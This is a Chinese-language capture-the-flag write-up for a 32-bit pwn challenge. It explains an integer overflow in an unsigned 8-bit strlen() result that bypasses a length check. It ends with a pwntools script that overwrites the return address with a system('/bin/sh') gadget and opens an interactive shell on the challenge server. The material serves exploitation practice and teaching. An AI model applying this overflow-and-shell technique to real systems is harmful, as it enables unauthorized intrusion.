整数溢出,一般对应strlen(s)函数,s为char类型,所赋值给的变量为无符号整型则仅代表0~2的整型位数次方,输入长度若大于赋值给的变量的表示范围,则会返回超出长度的字符数,即整数溢出。补充:计算机中整形采用补码形式表示,则unsigned(-1)表示对应位数的整型最大值。
1.检查文件类型,只有NX保护打开,32位程序,用ida编译,得到C代码。
2.buf变量为0x408,read函数往其中读入400,不会造成栈溢出。进入name_check函数,注意参数变化,此时s即为buf写入的缓冲区的字符。v3是无符号8位整型,有strlen(),意思是buf的字符长度小于3或大于8则会exit(-1),即错误退出,为避免这一检查,利用strlen的性质,保证超出的长度(即减去2^8-1)在4~8之间就好。
3.shift+F12,找到/bin/sh,双击,发现在_dl_registery函数内,找到它的地址,正好是system("/bin/sh")。作为get_shell。
4.构造payload。
混淆点:read函数fd为0,是标准输入,填入第一个缓冲区的数据要给read读入进bu以保证满足上面检查的条件;第二个payload在负责填充垃圾数据覆盖dest到get_shell。这样是分两次send,是错误的。因为上面提到buf到子函数中就成了s,两次输入的数据实际上都是给了s(buf)。而且strcpy函数用来复制s的内容给dest,如果为先填充大量的字符满足检查则给不了dest缓冲区的返回地址。
既然都是同一串payload,则发送既能满足检查又能覆盖shell地址的数据,也可以考虑到strncpy从前往后取数据给&dest(本来应该还有第三个参数,表示复制前size_n个字符)。所以顺序是先垃圾数据覆盖返回地址,再补充到相应字节数。
wp如下,欢迎各位师傅指正!
from pwn import*
io = remote('nodeX.buuoj.cn',XXXX)
#io = process('./r2t3')
shell_addr = 0x0804858B
payload = b'a'*(0x11+0x4) + p32(shell_addr)
payload += b'a'*(0x105 - len(payload))
#or payload=payload.ljust(0x105,b'a')
io.sendlineafter("name:",payload)
io.interactive()